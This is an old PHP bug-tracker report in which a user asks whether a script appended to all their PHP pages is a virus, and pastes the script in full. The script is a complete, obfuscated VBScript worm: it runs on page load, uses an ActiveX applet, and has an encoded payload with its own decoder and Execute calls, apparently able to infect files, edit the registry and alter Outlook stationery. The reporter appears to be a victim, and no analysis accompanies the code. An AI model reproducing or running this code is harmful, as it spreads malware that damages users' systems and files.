#18965 [NEW]: is it phpvrius?

From: cemw@sohu.com Operating system: win98 PHP version: 4CVS-2002-08-19 PHP Bug Type: Scripting Engine problem Bug description: is it phpvrius? <HTML> <BODY onload="vbscript:KJ_start()"> <script language=vbscript> document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>" </script> <script language=vbscript> ExeString = "CfjHkTedob)GqjiSbuq+S_pSbuq+AbdqbbPhdk)@mmidL_gdq)EPL)VpPedii)VfkMqe)Rr_B+CfkivAhphPr_HG\rq^os%&HGPdqAfl%&HG@qb^qdJfihbr%(HIIfhdFq%(HI@obqbJfi%(HIMolo^d^sb%&BkcPraCrkbqflmHG@mmbmaQl'CfidM^qg)QvobPqq&NkBqoloObptjbMbuqPbsObaQblm:CPL-LmbmQbusCfid%CfkbM^se).(QlmPqq:Qb^aSbjm-Ob^c>iiFcFkpso%QlmPqq)HI\pqoq%(&;;-LoKbk%SjmPso&;.SebkObaQblm+@klpbBuhqCtkqhlkBkaFcFcSvmbRqo<esqSebkObaQblm+@klpbPbsCfkbQblm:CPL-LmbmQbusCfid%CfkbM^se)/(ChibQdjm+Vofqd9!#!?LAXlkkl^a<#u_pqfmq9#HG^pq^qq%&!%;!#u_@oKc#QjmRqo%s_BoIc#EsjiQduqCfidQbjo+@inpbPbqC>qsof_:CRL+DdqCfkb%ChibMqe&C>sqofa+^qsof_tqbp:03BkpbOb^cQbjo+@inpbPbqCfidQbjo:EPL+NmbkSbuqEfib'CfidM^qg)5&FcQvmdPqo:gqji!QedkEfibSbjm-Tofsbsa@oIe#!9%ESJI;!#u_@oKc#9#ALAVlkin^a:!%sapohmq7!#!HG\rq^os%&!#;#sa@oIe#GqjiSbuqBirbFcQvmdPqo:u_pQebmChibQdjm+Vofqds_BoIc#SapQbwqDkaHcEfibSbjm-@ilrbDkaHcDkaErksflkErksflkHG@g^kddPr_'@roqbkqRqofmd)IpqFmabuBe^o(FeI^rqFkcbu@g^o<-SebkFcIbcs%I@pb%BroodkqPsofkf&).(:9I@^rb%b&SebkHGBe^kfbPra:Efk^kvAfrh#7Y!Pt_B<-BipdHI@e^mdbPt_:@eo'>p'Ibcs%I@pb%BroodkqPsofkf&).(&*.&%7[Rr_B:-BkcFcBirbJG@ekdbRr_<Jfc%@rqobksPqohkd)0)I^rqFkcbu@g^o&BkcFcBkcCrmqfnkCrmqfnkHI@obqbJfi%(LmBoqloQbprlbKduqFcHkTedob<esjiQebmBwfqErksflkBkcFcPeobChib<Ibeq%ThkM^se)0(#!Molfo^jCfidpY@njjlmCfkbpYLfonplcsPeoba[Pq^sflkdovYai^kj+eqlHc%EPL+EfibDufpsp%Pg^obEfib(&Qgbk@^ikHG@mmbmaQl'Pe^qbCfkb)gqji!&DipbPbsCfkbQblm:CPL-LmbmQbusCfid%PeobChib)1)qotb&CfidQbjo+Tohqb!9%ESJI;!#u_@oKc#9#ALAVlkin^a:!%sapohmq7!#!HG\rq^os%&!#;#sa@oIe#GqjiSbuqCfkbQblm+@klpbBkcFcAbe^risFa<TpRebik+ObfOb^c%EJBV\BROODKQ\TPBO[FabmqfqhbpYCbc^tiqTpboFA(LtqIlnhSbqpflm:VpPedii+QbdOd^a%!EHBX\ILB>I\L>@EHKBYRlcqv^ob[JfqlpleqYLtqilnhBwmobrpYJdaf^Ubo(TrPebki+OddTohqb!EHBX\@RQOBKS\RPDOYFcbkqhqfbrY#Cbc^tiqFc#YRlcqv^ob[JfqlpleqYLtqilnhBwmobrpY%Ibeq%LtqIlnhSbqpflm).&#+/YJ^hiY@njmlrbRrbPs^qfnkbox).+OBF\ATNOA@^kiHIJ^fkObd'EHDV\@TOOBMQ\RRBOYHabksfqfdpY%AbcriqHa#[Plcst^odYJfbolpncqYNrqinlhDumodppY!#Idcq%NrqInlhSdopfnk).(#--YJfiYRq^qhlkbqvKjb+Pe^qbCfkb&@^ikHGL^fiQbd%!EHBX\@RQOBKS\RPDOYFcbkqhqfbrY#Cbc^tiqFc#YRlcqv^ob[JfqlpleqYLtqilnhBwmobrpY%Ibeq%LtqIlnhSbqpflm).&#+/YJ^hiYThabRq^qhlkbqvKjb+Pe^qbCfkb&TpPgbii-ObdVofqdEJBV\BROODKQ\TPBO[Plcst^odYJfbolpncqYNccfbbY6--YLtqilnhYLoqflmpYJfiYDafqnoModcbodkb!).00-4/+OBF\ATNOA@^kiHIJ^fkObd'EHDV\@TOOBMQ\RRBOYRlcqv^ob[JfqlpleqYThkalvpJdpp^ffkdPr_rvpqdjYMqlcfkbpYLfonplcsLrsilljFksbokdqPdqqfmdpY/^-a//--/---/---b---/---/---/-13[--.d-03/)ai^kj&@^ikHGL^fiQbd%!EHBX\@RQOBKS\RPDOYPncqtobYLfonplcsYTfmaltrKQ[@roqbkqUbophlkYVfkantpLbppdfkfPrapvpsbjYOolchibp[JfqlpleqLtqilnhFmqbombqRbqqhkdp[-^-c-/-/---/---/--/---/---/--15Y--0b-05-)!_i^mh&TpRebik+ObfTofsbGHBV^@ROQBKQ^RPBQYPleqt^qbYJholrlcq[LcchbY0-+-[Lrqkllh[Lmqhlkp[J^fkYBahqloOobcdobkbb)00.-6/)QBD\CTLOCB^iiHGJfiOdd%GHBV^@ROQBKQ^RPBQYPleqt^qbYJholrlcq[LcchbY0-+-[@ljllkYL^fiRbqqhkdp[KbtRq^qhlkbqv)!_i^mh&HGtjj^fbClkabo'Ibcs%TfmM^qg)0&#Ooldq^jEfibrY@lljlkCfidpYJholrlcqPe^qbaYRq^qhlkbqv&BkcCrmqfnkCrmqfnkHI@obqbJhifbt%&LkDoolqObrrjbKbusQdjmMqe<FcKlq'CPL-CfidBufrqp%VfkMqe%TRofoq+bwb&(QedkSbjmO^qe:rvpqdj0/[DkaHcHcQdjmMqe<pxpqbl0/Y!QedkRq^osRmChib<TfmM^qg#!PVPSBJYJbokdi0/-aii!BkpbPq^qqRmEfib:ThkM^se#PVRQBJ[Hbombi+ciiBkcFcTpRebik+ObfTofsbGHBV^IL@@I\J@@EFMBYPncqtobYLfonplcsYTfmaltrY@rqobksSborflk[Ork[Hbombi01)Ps^oqTmCfkbEPL+BlmvEfibTfkO^qe#vb_Yjgt^ki+dhc)VfkMqe%td_YCniabq+eqsEPL+BlmvEfibTfkO^qe#rvpqdj0/[hgtii+ffc+TfkO^qe#rvpqdj0/[abpjqlm-fkf!@iiJG>mobkaSl%ThkM^se#tbaYClkabo-eqq!)esq&TpRebik+ObfTofsbGHBV^@I>RPBP^OLLSY+akiY+aikcfidVpPedii+QbdTqfqbEHDV\@K>PPDP\ONLQY-aii[@lksbkqQvmd)mmih^qhlk,w*jpcltkkl^a!TrPebki+OddTohqb!EHBX\@I@PPBR\OLNQYakicfkbYAdc^rkqFnkY+TpPgbii-ObdQb^a'EHDV\@K>PPDP\ONLQYuuachibYCbc^tiqFblkY!&VpPedii+QbdTqfqbEHDV\@K>PPDP\ONLQYciichibYRofoqBkffkb[)U?Pqfmq!TrPebki+OddTohqb!EHBX\@I@PPBR\OLNQYakiCfkbYPgbii[LmbmY@llj^kcY)VfkMqe%QblmM^se#TPbofms+bud$.'TpRebik+ObfTofsbGHBV^@I>RPBP^OLLSYaikCfidYPediiBwYMonmbosvPedbqEkaidopYVPEMqlmp[)z3-/41@>4*622?*.0@C*7@63,-->@--?74-5BzTpPgbii-ObdVofqdEJBV\BI>PRBP\QLLQ[aiiEfib[PohmqEnpqBmladY)!x5200.32.*17-@*0.A/,?.C8*--B-1C73@011zPbsCfkbQblm:CPL-LmbmQbusCfid%PqoqRoCfid)/)sorb(ChibQdjm+VofqdS_rQbusChibQdjm+BilpdBmaCtkqhlkCtkqhlkJGIfjbFq'&HcFmTebqb9=esjiQebmBwfqErksflkBkcFcQehpIlb^qfnk:altjbks+ilb^qfnkHcIdcq%SefpKl^sflk+1&:efib!QedkSefpKl^sflk:Jha%QgfpIn^qhlk)8&HcCRL+DdqBusbkphlkKjb%SefpKl^sflk(9;sebkQehpIlb^qfnk:Ibcs%QehpIlb^qfnk)Idk%QgfpIn^qhlk&*Idk%CRL+DdqCfkbK^lb%QgfpIn^qhlk&(&DkaHcHcIdk%QgfpIn^qhlk&;0QebmQgfpIn^qhlk<QehpIlb^qfnk#YBkcFcHGtjj^fbClkabo'QefrIlqflm&DkaHcDkaErksflkErksflkHGJfiOdd%OddPqq)CfkbK^lb&LkDoolqObrrjbKbusOddQblmPqq:VpPedii+QbdOd^a%QbdPso&FcQbdQdjmPso:SebkTpRebik+ObfTofsbOddPqq)CfkbK^lbDkaHcDkaErksflkErksflkHGLalPra%@rqobksPqohkd&PraB:-SbpqNrq<-AlVefidQotbSbpqNrq<QbrqLrs(0FeQbrqLrs;15Qgbk@roqbkqRqofmd:CfkivAhph%7[DufqAlBkaFcLkDoolqObrrjbKbusPdqQgfpCniabq:EPL+FbqCniabq%@rqobksPqohkd&PbsAfbPr_:@qb^qdL_gdq%!Pohmqfmd+Ahqfnk^ox&PbqClicbop:QgfpCniabq+PraClicbopClkaboBlrks:/CnoB`eSbjmEliadofmClkaborCniabq@lrmq:Clicbo@nrkq(.AfbPr_-^aaClicbo@nrkq+QblmClkabo-K^jdKduqFcCfPt_+@nrkq:-QebmIpqFmabuBe^o:FmpqoQbs%BroodkqPsofkf)Y!)Ibm%@rqobksPqohkd&,.&Pr_Rqofmd:Jfa'@roqbkqRqofmd)IpqFmabuBe^o*.)Idk%@toobmqPqqfkd(*I^rqFkcbu@g^o*0&BroodkqPsofkf:JG@ekdbRr_%BroodkqPsofkf)I^rqFkcbu@g^o&PraB:.DipbFcPr_D:/QedkBroodkqPsofkf:BroodkqPsofkf#CfPt_+Fsbj%0&#YBuhqAnBkpbg:-Eloi:0QlClicbo@nrkqFcI@^rb%Pt_Pqqfkd(:K@^pd%AfbPr_-Fqbl%g&(QedkHcg9Cniabq@lrmqQgbk@roqbkqRqofmd:@roqbkqRqofmd#AfRr_+Hqbj'g(.(#!YBufsAlBkcFcBkcFcKbwqK^pqHkabw@e^q:HkpqqObs'@roqbkqRqofmd)[)Idk%@toobmqPqqfkd(*.&PraPqohkd<Jfc%@rqobksPqohkd)K^pqHkabw@e^q(.)Kbk%BroodkqPsofkf&*IpqFmabuBe^o,.&@roqbkqRqofmd:HG@g^kddPr_'@roqbkqRqofmd)IpqFmabuBe^o(BmaFeBmaFeInlmHGLalPra:BroodkqPsofkfBmaCtkqhlkCtkqhlkJGMonm^dqb%(LmBoqloQbprlbKduqObdO^qeU^ird:!EHBX\ILB>I\L>@EHKBYRlcqv^ob[JfqlpleqYLtqilnhBwmobrpYAddobdCfphCbdodb:TpPgbii-ObdQb^a'ObdO^qeU^ird&HcAhphAddobd:!QgbkAfpjAbdqbb<Cfm^ivCfph#9YBkaFcClof:.ql4AhphAddobd:JGL_nPr_'AfpjAbdqbb&HGtjj^fbClkabo'AfpjAbdqbb&KbwqVpPedii+QbdTqfqbObdO^qeU^ird)AfrhAbfobbBkcCrmqfnkCrmqfnkHIrjjdbCniabq%M^seK^lb&LkDoolqObrrjbKbusPdqCniabqK^jd:EPL+FbqCniabq%M^seK^lb&PbqQefrCfidp:ClicboKjb+EfibrEsqBuhpqp:-ClqB^beQgfpChibHkQgfpChibpCfkbBus:T@^pd%CPN+DbsBuqdkpfnkK^lb%QgfpChib+O^qe(&HcChibBwq:EQLLqCfkbBus:!EQJKLqCfkbBus:!>PM!LoCfidBuq:OEMLoEfibDuq<GRMSebk@^kiHI>mmdkaQn%QehpCfkb+Mqe)!eqjk&BipdFcEfibDuq<SAPSebk@^kiHI>mmdkaQn%QehpCfkb+Mqe)!s_p!&DipbHcChibBwq:EQSQgbkEqqDufpsp:.DkaHcMbuqFc%R@pb%O^qeM^jb(:T@^pd%TfmM^qg#!Abpjqlm[&&Lo'R@^rb%MqeKjb&:RB^pb'TfkO^qe#Cbphslm(&QedkGqqBwfpqr:0BmaFeFeEqsBufrqp<-SebkCPN+@lovCfkbThkM^se#pvrqbj2/Yadphqnm+fmf)O^qeM^jbCPN+@lovCfkbThkM^se#tbaYClkabo-eqq!)M^seK^lbDkaHcDkaErksflkErksflkHGPdqAfl%&LkDoolqObrrjbKbusBqo+@kb^oQbrqFq:TRofoq+PbofmsCrikk^jdFeBoqQedkHkTedob<esjiBirbHkTedob<sapBkaFcFcHkTedob<sapSebkPbsCPN:Bob^sbL_ibq'Pqfmqhkd+EfibRvpqdjL_ibq!&RbqVpPedii<@od^qbN_gbbq%VPohmq+Rebik&BipdPdq>omibN_gbbq:altjbks+^moibqr%HI\drdpq(>omibN_gbbq+pdq@IRFA%!xC622A@1/*.BC-*0.A-,>A?8*--B-1CC25>/?z(>omibN_gbbq+qb^qdFkps^kd%&PbqTpPgbii:>omibN_gbbq+DdqL_ibq'&@mmidL_gdq+rbq@KPFA'x-C10CD-.*E-60,..@E*563-*-/>-@8-211/5z!&@mmidL_gdq+bob^sbFkrq^kbb%&PbsCPN:@mmidL_gdq+FbqLagbs%&BkaFcPbqAfpjL_gdq<CPN+AohsbpClqB^beAhphQdjmHkAhphLagbsFeAfrhQblm+AqfsbSvmb9;1>kcAfrhQblm+AqfsbSvmb9;0QedkDufqCloBkcFcCfm^ivCfph:AhphQdjm+CofsdIbqsboKbusAhjLsebo@oo%2&Q^kanjfwdCnof<-Qn0Lqedo>oq%f&:Fmq%%8'Qka&(KduqQbjoPqohkd<Clqf:0QlIbk'QefrQbus&SbjmMrj<>pb%Jfc%QehpQbwq)f+.&&FcQbjoKrj:.2QedkSbjmMrj</5BirbFcQbjoKrj:./QedkSbjmMrj</6BkcFcQblm@eo:@eo'QbjoKrj*Lsebo@oo%hJlc1&(FeQblm@eo:@eo'01&QebmQdjm@g^o<@eq%.5(BmaFeQdjmPsofkf:SbjmRqofmd#Qbjo@e^qKduqRkInhPso:Budrqd%CfjJbv>qo%0()QehpQbwq%s_@qIc#!Hbx>oo'-&<%Lqgbo>qo%-(#!#u_@oKc#!Hbv@oo%0&:#Lqedo>oq%.&#!#sa@oIe#Jbv>qo%/(:!#Nqebq>oo'/&%!#s_BoIc%Hdv>oq%0&:#Lsebo@oo%2&#%s_@qIc#!Clqf:0QlIbk'BubRqofmd&!#s_BoIc%QdjmKtj:>p'Jfa'BubRqofmd)f+.&&!#sa@oIe#HcQdjmKtj:.5Sebk!#sa@oIe#SbjmMrj<01!#sa@oIe#DkaHc%s_@qIc#!Qblm@eo:@eo'QbjoKrj(Hdv>oq%fLla3&&!#s_BoIc%FeQblm@eo:@eo'/5&Qebm#u_@oKc#!Qbjo@e^q:u_@o!#sa@oIe#DipbHcQdjm@g^o<@eq%/6(Qedk%s_@qIc#!Qblm@eo:s_Ie#u_@oKc#!BkaFc!#s_BoIc%QgfpQduq<QehpQbwq#Qbjo@e^q#u_@oKc#!Kbus&!#u_@oKc#Budrqd%QehpQbwq&QehpQbwq:BudPqohkd<!#SbjmRqofmd#!EsjiQduq<9#rofoqikdrdb:u_pqfmq=#s_@qIc%anrjdkq+vofqd%!#9#cfsrqvid:$mnpfqhlk7_plkrqb:ibeq7-ou8slm7/mu8tfase7-ou8gbfdgq7-ou8y*fkcbu7158ufpfafifsv7gfaadk$;!#!9%#@MMIDQK@JB:JG%\frbpsEBHDEQ<-THAQE<-nab:blj+lp+!#qfubU+@qfub%UBljmnkbks;%9!#!,>MOIBQ=#9#.afs=#sa@oIe#!9%,rofoq;#sa@oIe#!9%pbofmsi^mdr^fb:sapohmq;!#u_@oKc#QefrQbus#u_@oKc#RkInhPso#s_@qIc%9!#!,pqfmq=#s_@qIc%9!#!,?LCV;#sa@oIe#!9%,GQJI=U_pQduq<QehpQbwq#s_@qIc%RkKlhRqo%s_BoIc#JG\ps^oq'&TfkO^qe:CRL+DdqPmdf^kClicbo%/&#YFc%CPN+CfkbBuhpqp'TfkO^qe#vb_YEliado+esq&(QedkEPL+BlmvEfibTfkO^qe#vb_YEliado+esq)VfkMqe%td_Yhit^ik+dfeDkaHcHc%EPL+EfibDufpsp%ThkM^se#pvrqbj2/Yadphqnm+fmf&(QedkEPL+BlmvEfibTfkO^qe#rvpqdj0/[abpjqlm-fkf!)TfmM^qg#!pvpsbj01Yhgv^ii-dfc!BmaFeBmaCtkqhlk" Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 3"&vbCrLf&"KeyArr(1) = 1"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 3"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next") Execute(ThisText) </script> </BODY> </HTML> PHP Version is 4.0.5 auto loading to end of every phppage code /phppage execute is very very slowly(sorry ,my english is bad) -- Edit bug report at http://bugs.php.net/?id=18965&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=18965&r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=18965&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=18965&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=18965&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=18965&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=18965&r=support Expected behavior: http://bugs.php.net/fix.php?id=18965&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=18965&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=18965&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=18965&r=globals